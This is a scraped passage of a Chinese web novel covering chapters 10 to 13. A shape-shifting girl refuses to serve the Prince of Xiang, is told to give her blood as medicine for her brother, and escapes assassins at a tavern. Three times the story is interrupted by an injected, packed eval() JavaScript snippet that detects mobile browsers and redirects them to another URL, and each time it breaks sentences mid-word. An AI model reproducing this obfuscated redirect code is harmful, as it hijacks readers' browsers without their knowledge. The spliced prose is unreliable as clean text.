见这两人话也谈完了,没偷听到什么重要的消息,反而她变形的时辰差不多到了,便打算飞回去,谁承想还没飞几步,一炷香的时辰就到了,她慌乱之下瞅见商遗思穿了披风,好歹可以遮挡身形,便冲着他猛扎了过去。
裹在身上的玄色披风上用银线绣着叠云纹,仍是熟悉的焚香味,殷流光紧紧攀住披风,将自己遮得严严实实,慢吞吞从商遗思怀中露出个脑袋看他:“咳……多谢大王出手相救。”
“大王怎么知道我是谁?而且看起来……您好像一点也不惊讶一只乌鸦会变成女子?您就不怕……我是妖邪所化,专吃美男子的人心?”
她说着,变了脸色吓唬他,但商遗思从头到尾目光都避开怀中女子,他目不斜视,直视前方,在马背上单手隔着披风牢牢揽着殷流光的腰,以免她摔下去。
“对于殷守善来说,你倒的确算得上装神弄鬼的妖邪,但在本王这里,你只是个乌鸦罢了。”
殷流光心里咯噔一下,那晚她吓疯殷守善,自以为神不知鬼不觉,却不曾想到早就被商遗思尽收眼底,又听他继续道:“你在殷家为非作歹便也罢了,这几日竟敢一连三晚夜探公主宅。当我金吾卫是摆设不成?”他不咸不淡,马蹄声响在空旷的街道上,扬起一阵哒哒的回声。
“金吾卫巡防京城治安,向来都是抓人的,怎么还管到鸟的头上了……”殷流光小声嘀咕,又觉得不对,立刻道:“难道从凝华山离开后,大王就一直在跟踪我?”
她十分警觉:“为何?”
还没等商遗思回答她的话,远处便传来一声高喝:“夜禁时分,何人纵马官道?!”
商遗思压低声音,吩咐殷流光:“藏好了。”而后纵马走到那队金吾卫面前。
还没等他走近,金吾卫就从马身上的连钱纹认出了那是自己顶头上司大将军的马玉锋雪,连忙下马行礼:“不知大将军巡夜!我等冒犯!”
“不必多礼。”商遗思淡淡道:“深夜值守,你们都辛苦了,不必在意本王,照旧巡夜便是。”
金吾卫齐声应道:“是!”
等商遗思走得远了,领头的金吾卫朝着他的同伴道:“刚才你有没有看清楚,大王怀中那是……”
同伴着急忙慌地捂住他的嘴:“敢背后议论大王,你不要命了!快走快走!”
绕过了长街,殷流光重新露出脑袋,瞧着方向,猛然惊觉这不是回家的路,立刻道:“大王,这不是回殷家的路,大王要带我去哪?”
“各坊坊门早已关了,本王可没有本事变鸟,越过坊门将你叼回你家。”他在一处阔大宅邸面前停住,立刻有人迎上来,却被商遗思挥开,他纵马直入宅门,一直走到中堂才道:“默玄,去把岑媪叫过来,让她找一套侍女的衣服带着。”
殷流光偷瞄一眼,跟迎上来的男子四目相对,对方惊讶地瞪大眼,差点喊出来。
他就是那天晚上殷流光做乌鸦时在帐篷里见过的默玄,商遗思的随身守卫。
她笑眯眯朝他打招呼:“默玄兄,晚上好啊。”
默玄犹如见鬼,紧急别开眼,对着商遗思急匆匆说了声“是”便落荒而逃。
等待的空隙里,殷流光四下望了望,她刚一口气鉴赏了京城三座公主宅,其中更有寿昌公主宅这种进去一趟能亮瞎鸟眼的宅子,如今难免带了比较。
襄王的宅子虽然大,院子里却都一溜挂着些兵器,俨然一个练武场,其他权贵家中该有的摆设一应没有,就连铺地的砖都是没有花纹的。
扑面而来的苍凉之气,让她一瞬间以为自己身处漠北大院。
看来做天子心腹没什么钱途,她在心里默默摇头,一扭头瞅见商遗思寒凉的目光,就知道他肯定不爽自己家被人乱瞄,立刻换上一副娇弱的模样:“大王带我来你的宅中……是好心收留我过夜不成?没想到大王是如此心地善良之人,妾就知道,坊间的传言是不可信的!”
她心地其实还是有些害怕夜黑风高,孤男寡女共乘一马,再加上她之前还对他说过许多“倾慕大王已久愿自荐枕席”的话,气氛都到这了,襄王会不会一时兴起,对她做什么越轨之举,而且像他这种高坐云端的权贵,拿捏她就跟拿捏蚂蚁一样,所以她先试探试探商遗思的态度。
商遗思淡淡道:“不必试探我。”远处奔来一个抱着衣裳的老妪,显然便是商遗思口中地方“岑媪”,他收回目光,道:“本王对你没兴趣。”
“换好衣服后来前厅找我。”
岑媪是个看模样五十岁上下的老妇人,神情严肃,面容宽阔,是漠北边陲人常见的长相,一头银发梳得整齐,用墨色的玉钗挽起。
她引着殷流光去了后宅的厢房换衣服,殷流光走在她身后,隐隐觉得奇怪,高门大户的家中向来有诸多避讳,这其中一条,就是最忌讳没有丧事,底下人却穿白衣,且也不耐脏,眼前这岑媪却穿着白色的布裙。
她给殷流光准备的衣服是身青色襦裙,摸起来手感极好,上面的绣花也星星点点地点缀着米粒大小的珍珠,绝不是普通婢女的衣衫,倒像是贵族小姐的衣裳。
殷流光穿戴整齐撩起帘子走出去,见岑媪就守在屋外等候,便冲她笑着行礼:“多谢岑媪,不知这衣裳是宅子里哪位姐姐的?我穿上后好像路都不会走了,生怕磕着碰着一点。”
岑媪不语,目光在殷流光身上停留片刻,忽道:“还差点什么,娘子稍等。”
她去里屋的妆台上打开柜子,又摸出个珍珠钗,拿出来簪在殷流光鬓边,这下才露出微微赞许的神情:“现下可以去前厅了。”
“您是不是误会了,我跟襄王殿下不是那种关系……”岑媪见商遗思深更半夜带回个女子,定是误会了什么,殷流光连忙解释,岑媪道:“老婆子自然知道,大王不是那等轻佻之人。”
她伸手替殷流光整了整衣服,道:“这衣裳跟首饰,都是我每年照着京城时兴的样子叫人做的,都收在柜子里,平素也没有机会给谁穿,今日娘子来了,这些东西总算是有用武之地了。”
“而且这衣裳你穿着正好,身量也差不多。”
她不知想到了谁,脸上露出痛楚又怀念的神色,不论那人是谁,这些尘封在柜子里的衣裳都表明,那人也许已经不在这座宅子里了。
方才岑媪为她戴珍珠钗的时候,她有那么一瞬恍惚,若是阿娘还在,为她戴钗,想必也是这样的景象。
殷流光眸光轻动,对岑媪道:“原本该穿这衣裳的人,她是什么样子?”
岑媪微怔:“她酷爱诗书,手不释卷,走路的时候,手里总是握着一卷书。”
殷流光想了想,摇头道:“可惜了……我跟她并不像。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986102|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“娘子穿上这身衣裳,远远看上去,已经有三分相似了……”岑媪喃喃,瞧着她,眼角隐约有泪光涌动,一瞬间恍惚回到了四年前,小姐坐在窗下悠然读书,她守在一旁的时光。
……
殷流光迈进前厅的时候,岑媪没有跟进来,整个厅内只有商遗思一人,他也换了衣裳,穿着家常银灰色襕衫,站在窗边,手中拿着一块肉干,喂给窗户边上懒洋洋卧着的小猞猁,帮它磨牙,小猞猁崽子见殷流光走进来,耳尖轻动。
商遗思放下肉干回头。
中庭明月高悬天心,在她身后落下如水微凉的霜色,穿着青衣襦裙的女子明眸皓齿,杏眼灵动,鬓边的珍珠钗光润洁白,将她的长发衬如乌云。
商遗思垂下眼:“岑媪给你挑的衣服?”
殷流光察言观色,看商遗思的表情像是不喜,立刻道:“我来得突然,府上仓促间定没有合适我的衣裳,我只借穿一晚,明日归家,定然洗干净了给大王送回来。”
“不必。”商遗思道:“这是岑媪送你的,你收下便是。”
殷流光想到岑媪说的那些话,心里有个猜测,见商遗思眉目平静,今夜看起来格外好说话,便道:“岑媪……可是将我认成了她女儿?”
商遗思扫过一眼,她解释道:“方才岑媪说她每年都会裁剪新衣,做新首饰,只是做好后就收进柜子里没有人穿,我看她穿着白衣,像是在服丧,莫不是这些衣服都是给她女儿做的,她女儿……不在了?”
只是换个衣服的功夫,这殷四娘子竟然察言观色,看出了这么多细节,他挑中她,倒是没挑错人。
小猞猁呜呜地叫了一声,用脑袋去蹭商遗思的手,显然极其依赖他,商遗思随手摸了摸它的脑袋,道:“岑媪没有女儿,那些衣裳首饰,都是给本王妹妹准备的,她穿白衣服丧,也是为了她。”
“大王的妹妹……”商遗思抬眼看她:“她已仙逝四年。”
“人死如灯灭,这些衣服岑媪愿意拿出来给你穿,说明她放下心结,决定走出来了,这是好事。岑媪服侍我妹妹多年,本王该谢你帮她释怀。”
原来她怀念的是商遗思的妹妹……殷流光恍然大悟,并想起了四年前那场震惊整个京师的大火。
那年,商遗思奉命再次出征陇幽抵挡鬼方入侵,他用兵如神,短短一个月就大获全胜,但恰恰在前线传来胜利的战报时,京师的襄王宅却在八月团圆节的那天晚上走了水,大火吞噬了整座宅邸,武侯铺的人扑灭火后已经来不及,宅邸内遍地焦尸,其中包括襄王的一对弟妹,商遗念与商遗梦。
班师回朝的商遗思回到长安,迎接他的却是亲人尸体,断壁残垣。
据说从那以后,襄王的性格才变得狠辣阴沉。
提起这么悲惨的往事,商遗思却显得有些平淡过分,他移开话题:“该说正事了。”
他看向殷流光,目光如炬:“本王想知道这三晚,你忙来忙去,都看到了些什么?”
这审问的语气,就好像面对的是金吾狱里的犯人一样……
殷流光眼睛一闪,已经明白了前因后果:“大王知道我能变成乌鸦却不惊讶,反而派人跟踪我……大王是想要我的能力为你所用?”
商遗思赞许道:“殷四娘子,你很聪明。”
他道:“人能变兽的例子,你不是本王见过的第一个,也不是这宅子里的唯一一个。”
西南方向的兽苑适时地传出兽嚎声,殷流光浑身一颤,不会吧……这就是他养了一苑猛兽的原因?
她咽了咽唾沫,硬着头皮道:“如果我不愿意做大王的鹰犬呢?”
11. 滴血成药
她顶着眼前人审视的目光,慢慢红了眼圈道:“大王容禀。”
“大王既然知道小女子这些日子的所作所为,便知道是殷守善先对我起了杀心,要杀害亲妹!”
她神情凄楚,十分伤心:“那日在凝华山上,就是因为被他设计放出豹子想要咬死我,我这才意外得了机缘能够变成乌鸦逃走。”
她像是想起了什么,猛然惊讶道:“对了,那豹子是大王养的,大王英明神武明察秋毫,定是已经查清楚了这件事吧?”
这事商遗思自然知道。
那天他让默玄去查这件事,最后查出来是太子舍人殷守善偷偷使计支开了守着豹笼的下人,将豹子的笼子打开,后来他顺着殷守善这条线索查下去,便发现了那日撞入他帐篷的乌鸦是殷家四娘,而跟殷守善联合起来要杀她的人,就是彭阳长公主。
这些都是他知道的事情,他不语,等着殷流光继续演下去。
此女秉性他早就查了个一清二楚,她从小亲生母亲早亡,在家中孤苦无依,是以为求生存,便学会了察言观色,做低伏小,以柔弱隐藏真实性情。
但从她骤然得了化兽的能力,没有整日惊慌失措,几乎是立刻接受了这能力,并用它设圈套吓疯她长兄,又连续三晚飞往公主宅,单枪匹马寻找幕后凶手的表现来看,这些所作所为根本与她在人前表现出来的乖巧纤柔的模样毫不相干。
由此可见,此女狡猾无比,虽然舌灿莲花,倒真的像是滑不溜手的乌鸦,嘴里难以听到一句实话。
殷流光戚戚然道:“小女子夜探公主府也只为自保,只是如今什么也没查出来,三位公主都不像是与我阿兄合谋之人,可除此外便只剩下彭阳长公主……”
商遗思打断她:“此事不必再提,你不会再有危险,你也不要再想着去窥探长公主。”
听他的意思,像是这件事尘埃已定,殷流光眸色轻闪,心想商遗思为了招揽她,还真是不遗余力,连长公主都能搞定。
可惜了,只能让他的努力打水漂。
她继续垂首道:“大王,我性格内向,胸无大志,只想着安安静静地过完普通长安女子的一生,要不是撞见阿兄丑事,也不会被迫卷入这么多是非之中,大王高看我,愿意让我做入幕之宾,我很是感激,但……”
商遗思抬眸,走到她面前,似笑非笑地挑眉:“但?”
殷流光咬着唇,一鼓作气地演下去:“但我平生夙愿只期盼平淡的生活,大王需要的手下定是能够为您出生入死的忠心之辈,我胆小怕死,见了血就要吓死过去,还特别容易被金银收买,实在不适合跟随大王,所以……求大王放过民女。”
胆小是假的,怕死是真的。
商遗思今夜招揽她,肯定是看上了她能够千里视物的乌鸦眼,想让她日后为他窥视政敌的隐私秘密,但殷流光又不是傻子,商遗思是什么人?正四品右金吾卫大将军,又是天子心腹,凶名在外,如今都道太子与长公主的争斗渐成火热之势,襄王这个位置不可能不被裹挟进党争。
但凡卷入党争,史书上哪一次不是血流成河,白骨如山?最后青史留名的是有从龙之功的将军文臣,但他们手底下的那些兵卒死士,谁会记得?只会变成上位者功勋册上的一笔“死伤数万”。
简而言之,跟着商遗思干,小命不保,她才不干。
宁愿此刻直说得罪商遗思,尽早断了他对自己的想法,也不要虚与委蛇,到最后骑虎难下。
殷流光擦了擦眼角逼出来的眼泪,用余光去瞄商遗思,只见他双眸沉沉落在自己身上,看不出来有没有因为被拒绝招揽而恼羞成怒。
猞猁从窗沿上跳了下来,跑到殷流光裙边,被她襦裙上的流苏吸引,直起爪子撕咬扑玩。
殷流光听说过猞猁都是被豢养着用来狩猎的,撕咬起猎物来凶狠得很,也不敢乱动,浑身僵硬成石头。
半晌后,她听到商遗思开口:“山君,回来。”
猞猁却不怎么听他的话,还专注地跟殷流光的裙带搏斗,商遗思不得不走上前,捏住它的后脖颈将它拎起来,猞猁悬在半空扑腾挣扎,商遗思抬眸,对着殷流光道:“你不愿意,本王不难为你。”
“让岑媪带你下去休息吧,明日一早开了坊门再从后门离开。”
殷流光一愣,心中大喜,连忙道:“多谢大王成全!”
她转身欲走,想到在寿昌公主宅内看到的那一幕,犹豫片刻,心想襄王今夜留她过夜,虽然他是为了顺势招揽她,但也对她有恩。
寿昌公主准备对他下药的事,还是告诉他一声吧。
她顿住脚步转过头:“对了……”
“还有。”商遗思跟她同时开口,她疑惑地停下要说的话,就听到商遗思说:“今夜本王与长公主见面一事,若是走漏了风声,本王便割了你的舌头,让你这辈子都再也说不出一句话。”
他说得平静,像是割别人舌头这种事对他来说,简单得就像是给猞猁喂肉干。
他看向她:“明白了吗?”殷流光立刻点头:“明白,明白。”
她扭头就走,这恩不报也罢!她再也不想跟这个活阎王产生任何关联了!
他就活该被寿昌公主下药!被她玩弄于床榻!
……
第二日清早,商遗思在家中吃朝食,岑媪来找他,进门行了礼,紧接着就毫不客气地质问:“大王昨夜都干了什么?”
商遗思喝了口粥,很平静地问:“怎么了?”
“今日一大早我端了朝食进房间,发现窗户打开,衣服也整整齐齐叠好放在床榻上,珍珠钗也在妆台上,人却不见了!”
岑媪难得的说话带了重音:“若非被大王吓坏了,那位娘子怎么会一大早就跳窗而逃!”
默玄立在商遗思身后,咳了咳,小声咕哝:“人家半夜就跑了,哪是吓得,就是不想被大王抓来做暗探而已……”
他声音很小,岑媪什么都没听见,但他被商遗思看了眼,立刻噤声。
商遗思放下粥碗,道:“岑媪,她并非常人,而且也跟遗梦一点也不像,只是惯会花言巧语蒙骗人心,你莫要被她骗了。”
岑媪摇头:“我这双眼从陇幽到长安,看人的眼光就没有不准的,那娘子心底善良,依我看,反而跟大王很是般配。良缘不易得,大王莫要错过啊!”
商遗思一口粥差点噎在喉头,脑子里忽然想到了昨夜穿着青色襦裙,鸦鬓烟眸,对着他巧言令色的女子。
他默了默,心想自己定是被岑媪石破天惊的话惊到了,立刻将那个身影从脑内抹除,神色平常地吩咐默玄:“继续盯着她。”
默玄“啊?”了一声:“大王,人家都拒绝你了,你还想把她收到麾下啊?”
“你从发现自己能化形,到能够熟练掌握化形的关窍,用了多久?”
默玄想了一下:“好像两年?”
商遗思眸色沉沉:“她一个官宦家的女儿,居然只用了不到半个月就能熟练化形,不是有人指点,便是她手中有我们不知道的关于化兽的消息。”
……
殷流光的确是半夜隐隐感觉自己精力恢复了过来,直觉感觉大约又能化形了,便立刻念动心咒飞回了家。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986103|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
襄王宅不能久留,万一第二天早上起来他改变了主意,想起自己顺我者昌逆我者亡的性子,立刻命人把她给杀了呢?
知意捧来点心,心疼坏了:“那襄王也太可恶了!野史话本里都是骗人的!”
“娘子折腾一夜是不是饿坏了?快多吃些。”殷流光一边吃知意亲手做的桃花酥一边满足地眯起眼:“还是知意你的手艺好,为了这一口,千金都不换!”
说话间,有人撩起帘子走了进来,是殷母宋绯身边的阿妙,说是夫人寻四年制,叫她去东堂一趟。
路上殷流光瞧着阿妙的神情有些奇怪,故意与她聊了几句闲话,而后试探宋绯叫她过去有什么事,怎料一说到这个,阿妙便紧抿嘴唇不肯多说了。
殷流光心中更觉得不对劲,走到东堂时,见管家引了个青色道袍打扮的老道士出去,她与那老道士擦肩而过,瞧见他紫色袍服崭新鲜亮,一把胡子显得仙风道骨,颇有出尘之姿。
她扭头问阿妙:“母亲居然请来了玄都观的道士?”
青雾山上道观林立,大大小小有十几座,但若论最有名的,要数玄都观。
原因无它,当今皇室推崇道教,以道教为国教,天子日日所服用的养生丹药,便是玄都观的观主亲自炼制,再通过专门的飞骑呈送禁中。
因此玄都观是整个大盛名气最大的道观,每日去玄都观的达官贵人将观前的山路都踩得平坦如官道。请玄都观的道士上门驱魔做法,价钱也是最贵的。宋绯居然请了玄都观的道士,可见殷守善的疯病已经到了无计可施的地步。
阿妙说:“娘子慧眼,正是玄都观的道士,娘子快些进去吧,夫人已经在等着娘子了。”
等走了进去,殷流光便瞧见殷守善昏睡在床上,旁边搁着一碗喝了一半的符灰水,宋绯擦了擦眼泪,转身看到殷流光进来,忙抬手命她坐在自己跟前的胡床上。
她握着殷流光的手:“好孩子,这些日子母亲忙着照顾你阿兄,都没有时间过问你,这些日子天渐渐冷了,你过冬的衣裳也该拿出来晒一晒了,让知意都打开箱子取出来,若是有穿不上了的,就尽快告诉母亲,母亲给你裁新的。”
殷流光简直受宠若惊,瞧着宋绯慈爱关怀的假笑,心里直犯嘀咕。
宋绯从来都拿她当做一个家里会喘气的物件,何曾对她这么关心过?事出反常必有妖!
她也演出一副娇娇弱弱的样子:“承蒙母亲挂念,流光一切都好,只是心中时时挂念阿兄病情,不知阿兄这几日可有好转?”
提到殷守善,宋绯的眸光闪了闪,缓缓道:“我就知道四娘你是个贴心的,你阿兄平日里没白疼你。”
她道:“方才啊,青雾山玄都观的道长已经来看过了,说你阿兄这症状是撞了阴邪,被夺走了一魂。”
殷流光装模作样地小声惊呼:“什么?!竟有这种事?”
“是啊,母亲也是吓了一跳。”宋绯和蔼地握着她的手:“可道长说了,这病也不难治,只要有年轻气血旺盛的亲人,或是八字相符的人,肯每日里为他割上一碗血做药引,配着符灰水让他饮下,不出一个月,他便能用亲人血肉养出新的魂了!”
她都说到了这里,又拉着殷流光的手不放。目光落在她的手腕上,殷流光哪有不明白的:“母亲……想要我为阿兄做药引?”
宋绯依旧笑着,只是手上的力道极重:“说起血缘亲人,自然是与他一胞所生的妹妹流灵更合适,可是流灵刚在夫家有了喜,怎好做这种有损胎气的事,而且四娘你的八字,竟然是最符合的……四娘,你定然是愿意的吧?”
12. 广平世子
割血做药……这玄都观的道士也太狠了,她跟师父在乐游原招摇撞骗的时候,都没给主顾出过这种阴损的主意。
但殷家供她吃穿,她若是不答应,便是不孝。
殷流光心里几欲想吐,面上强装作情真意切的单纯模样,反握住宋绯的手:“四娘自然愿意!只要阿兄能醒!”她问:“何时取血?也好让四娘做些准备。”
宋绯本来就没想过她会不答应,这琵琶女生的四娘从小就乖顺怯懦,什么事都听长辈的,叫她往东绝不往西,虽然没骨气了些,但胜在好拿捏,是以她这些年都没怎么在她身上费过心思。
她道:“不急,道长还要几天准备,三日后他会亲自来家中为你取血。”
殷流光迟疑片刻,虽然没报希望,但还是问了一句:“这件事,阿耶知道吗?”
“自然知道,那道长就是你阿耶请来的,他说的话,你阿耶怎么会不听?”宋绯想起夫君去国子监上值之前对她说的话,暗道自己怎么把这茬给忘了,她连忙笑道:“对了,你阿耶还说,这件事是委屈了你,你也到了适婚的年龄,你阿耶已经在国子监的学生里给你挑好了人选,人品家世都清白的很,是在长安城打着灯笼都挑不到的青年才俊,就等着找个机会让你们见面了!”
什么?!阿耶弥补她的方法就是准备找个自己的学生把她嫁出去?殷流光心里惊涛骇浪,脸上乖巧点头:“那四娘就等着三日后为阿兄取血了。”
等她回去了,关上门,立刻变了脸色,将事情告诉了知意,对她道:“你等会就出门一趟,去祁家给祁承筠传个口信。”
“娘子是想让世子来救你吗?”知意担忧地问:“可这是家事,世子会不会不好插手?”
殷流光摇头:“不是让他直接出面。”她双眸间神色坚定:“秋猎那晚,他不是托你带话,说没见到我很遗憾吗?”
“那就今晚约他在太平坊的琼池楼见面。”
……
琼池楼是太平坊最大的酒楼,丝竹管弦,胡姬美酒,一应俱全。
殷流光早早到了二楼包厢,客店伙计第三轮来催她点酒时,已经不耐烦了,但祁承筠还是不见人影。
殷流光随口点了壶新丰酒,记在祁承筠账上,把伙计糊弄走,在心里暗自觉得不对劲,爽约不是祁承筠会做出来的事情,他是按照世家大族标准的诗书礼乐易教养着长大的君子,平生最重承诺,既然答应了自己,就一定会做到。
她盯着手中祁承筠托知意带给她的回笺,这是一手萧然如云舒卷的好字,写了“戌时三刻,盼与卿同。”几个字。
她不禁想起她跟祁承筠的初遇。
其实不能算是初遇,那是她蓄谋已久的刻意“相见”。
师父观山死前给她留下了“祁承筠”这个名字,说他的命数与她最是相合,若是嫁给他,她会一辈子安乐无忧,观山这辈子算命没算对过几次,殷流光真的一点也不相信,可这是观山给自己留下的最后的愿望。
就算祁承筠是个混蛋,那也见他一面再说。
机会来得很快,她十六岁这年,长姐殷流灵嫁给了城南的宋家三子宋少留,宋少留也是宋绯的侄子,这桩亲事亲上加亲,各方都满意得很,所以婚宴格外热闹,又兼他供职兵部,是广平侯的下属,当日祁承筠便代父亲登门送来了贺礼。
他就是在那个时候遇到殷流光的。
当时他“恰巧”路过□□走廊,“刚好瞧见”她被当宋家的小姐们当众羞辱,说她母亲是平康坊出身,弹琵琶弹得好,那她一定也弹的很好了?
她们把六弦琵琶塞进殷流光手里让她弹,殷流光被围在中央,惶然无助地像只掉进陷阱里的兔子。
祁承筠立刻皱眉,出手制止了这场闹剧。人群散去后,殷流光向他道谢,捡起那把琵琶,为祁承筠弹了一曲。
祁承筠原本只是客气,听着听着,望向倚在湖山石上低头弹琵琶的殷流光的眼神里逐渐带上了惊喜,他道:“这首曲子是……前朝曲绿竹?”
殷流光轻声答道:“瞻彼淇奥,绿竹猗猗,有匪君子,如磋如磨,以此曲答谢世子,正好。”
筠,绿竹也,祁承筠的小字也叫做青竹,他痴痴地瞧着殷流光,眼中已经塞不下其他风景,只是还没来得及说什么,就被父亲派来的小厮叫走了。
那之后,祁承筠便常常给殷流光写信,殷流光其实都还没做什么,只是略施小计,还没大展拳脚,祁承筠就已经自顾自爱上了她。
她原本只是为了了却观山最后的心愿,所以想着见祁承筠一次,便算是自己没有辜负师父遗命。
可无论如何也不会想到,祁承筠会对自己一见钟情。
或许……观山的算命术错了一辈子,但在她的身上,竟然准了一回。
搞不好嫁给祁承筠,她真的能得偿所愿,摆脱殷家,摆脱那些冷漠、贫穷和白眼,过得自由自在,随心所欲?
尽管,她对祁承筠并没有什么特别的感觉。
慢慢的,她也开始回信。偶尔也会借着上香的名义,远远跟他在寺庙中见上一眼。
直到有一次祁承筠的长随送信,被殷守善看到。
殷守善知道她想嫁给祁承筠,笑话她想攀高枝想疯了,堂堂广平侯世子,怎么可能不娶门当户对的世家女子为妻?他只不过是跟七品文官的女儿玩玩罢了,当不得真。
但殷流光知道祁承筠不是那种玩弄女子的人,见他对自己如此情根深种,她却只是为了师父遗命和自己前途,心里也有些觉得隐隐不平等,一度犹豫要不要放弃,一直没答应祁承筠的求亲,但如今不得不答应了。
若是再不从殷家离开,阿耶就要把她嫁出去了!
敲门声自门外响起,殷流光有些心焦,连忙起身去开门,走到门口却觉得不对,映在门上的影子,比祁承筠矮上许多,她故意道:“可是世子?”
门外含糊地应了声:“正是,快开门!”
殷流光立刻暗道不好,转身便奔向窗户意欲呼救,可刚打开窗子就从对面疾射入几支冷箭,门外的人变了声音,恶狠狠道:“好个机警的小娘子!不过……有人出钱买你的命,门窗都被我哥俩堵死了,今晚任凭你再机灵,也难逃一死!”
说着门口便传来刀刃劈锁的声音,竟然有人借机买她的命!会是谁?她最近得罪的人只有襄王,难道是他招揽不成恼羞成怒?
门口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986104|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的锁摇摇欲坠,窗外又有冷箭破空而入,殷流光立刻闪身到桌边打翻烛台,用水杯浇熄烛火,屋内顿时一片黑暗。
等到彪形大汉劈开锁踹门而入,跟着从窗外荡进来的蒙面瘦高个四目相对:“人呢?!!!”
门外一团黑影趁乱逃离,窗外有冷箭,她只能趁着黑暗之际,在门口的杀手踹开门的时候贴着墙飞出门外。
变成乌鸦的殷流光在琼池楼内横冲直撞,乌鸦的五感比人类敏锐,楼内的酒香与脂粉香纠缠在一起,将她袭击得晕头转向,瞧见角落里一个房间,有婢女端了酒壶从屋内走出,便趁着她关门的瞬间从她裙摆内钻进了房间内。
这走廊尽头的包厢没什么喧闹声,跟其他地方比起来安静百倍,应是里头的人已经喝醉酒睡了,她正好趁机从这个房间内飞出去。
只是……殷流光一头扎进房间内,不承想房内放着尊半人高的博山炉,房内燃香的味道无比浓郁,还是最浓烈的百合花香,她一下子被香气冲击,昏头昏脑地冲进床帐,扑棱撞在了男子滚热的胸膛上。
她抬起头,瞪大了眼:“襄王?!!你怎么在这儿?”
被乌鸦碰瓷的男子躺在绛红色的床帐内,浑身被五花大绑,脸色异常潮红,盯着胸口的乌鸦,一字一顿地往外蹦出字眼:“还不快变回去,帮本王解开这绳子。”
殷流光此刻倒是不着急了,她在商遗思的胸口蹦跶了几下,爪子踩在绳子上,道:“大王英明神武,怎么会被人暗算沦落到这种地步?”
她幸灾乐祸:“难道是大王惹了不该惹的风月情债?”
商遗思这扭头闭目不肯谈的屈辱模样,肯定是寿昌公主真的出手了。
商遗思心中恼火无比,他也是没想到,寿昌这么胆大,居然敢在宫中天子的赐酒里直接下药,等宫宴散后将他约到这里,趁着他药性发作浑身无力,亲自绑在了床上。
他的近卫皆被派出去做事,今晚无人跟随,没想到偏偏今晚栽了跟头。寿昌方才嫌弃琼池楼里的酒入不了口,要亲自去她的马车里拿宫宴上天子赐下的酒,如今恐怕马上就要回来,此刻只能让殷流光帮忙。
他说:“殷四娘子,要如何你才肯帮本王解绑?”
“哎呀,襄王殿下果然知道我在想什么。”殷流光向前跳了几步,一翅膀指着商遗思:“今夜我约广平侯世子来此见面,却反而被人追杀,是大王想要杀我灭口吗?”
她原本就怀疑那两个刺客是襄王派来的,现下他如此狼狈,倒是正好反过来让她审上一审。
商遗思眯着眼,冷哼一声:“本王若是想杀你,那夜便杀了,哪里需要费力气派刺客?”
他道:“今夜最有可能知道你行踪的,除了本王,还有一个人。”
殷流光知道他要说谁,当然是被她越来这里的的人,她立刻摇头,斩钉截铁::“广平侯世子不会害我。”
商遗思难得见她这么维护一个人,想起默玄所报,祁承筠与殷流光时常通信,俨然已经私定终身,也不知为何,他冷笑了声,道:“本王没说是他,殷四娘子何必着急?”
“泄露行踪的不是你,而是祁承筠,是他身边有人知道了他要来这里见你。”
13. 榻上解困
他瞟了一眼在自己胸口沉默不语的乌鸦:“你该猜到是谁了。”
乌鸦跟他对视,女子的声音响起:“能知道世子行踪的,当然还有他阿耶,广平侯。”
“没错。”商遗思忍着晕眩,条分缕析:“祁君疾此人面慈心苦,在朝中是个谁也不得罪的和事翁,但私底下行事狠绝不留余地,他怎么可能坐视自己的嫡子,将来要继承爵位的人被你迷得不知东南西北,甚至大有这辈子非你不娶的苗头,今夜祁承筠没来,最有可能的说法便是祁君疾找借口一面拖住了他,一面派杀手来处理你。”
乌鸦点了点脑袋表示认同。
寿昌被天子宠坏了,做起事来不留余地,给商遗思下的药后劲凶猛,他的四肢百骸如同炽火焚烧,额角的汗顺着脸旁濡湿脖颈上的衣襟,他忍着不适皱眉:“本王帮你分析了这么多,也该轮到你帮本王了吧,殷四娘子?”
殷流光听他说话声音都哑了,想必是极其难受,自己也从他这里知道了要杀她的人是谁,这笔交易不亏,遂点头,道:“好吧,那还请大王闭上眼睛,我变成人形帮你。”
商遗思闭眼,殷流光还不放心,叼来桌上的帕子盖在他脸上,晃了晃手确认他什么也看不到。
她变成人形坐在床帐深处,熟练扯过商遗思的外袍裹上,而后伸手去解绳子,商遗思被寿昌扒得只剩下中衣了,殷流光动作间难免碰到他。
碰到商遗思腹部的时候,中衣被解开的绳子蹭开了一小片,她不小心看到了一闪而过的肌肤,并不平整,有着长长的疤痕,不像是被战场上的刀枪所刺,倒像是……被狼抓的。
听说漠北鬼方族善驭狼群作战,这伤如此狰狞,不知是商遗思上一次灭族之战留下的,还是更早的时候,在他孤身潜入鬼方左亲王宅院刺杀左亲王时留下的。
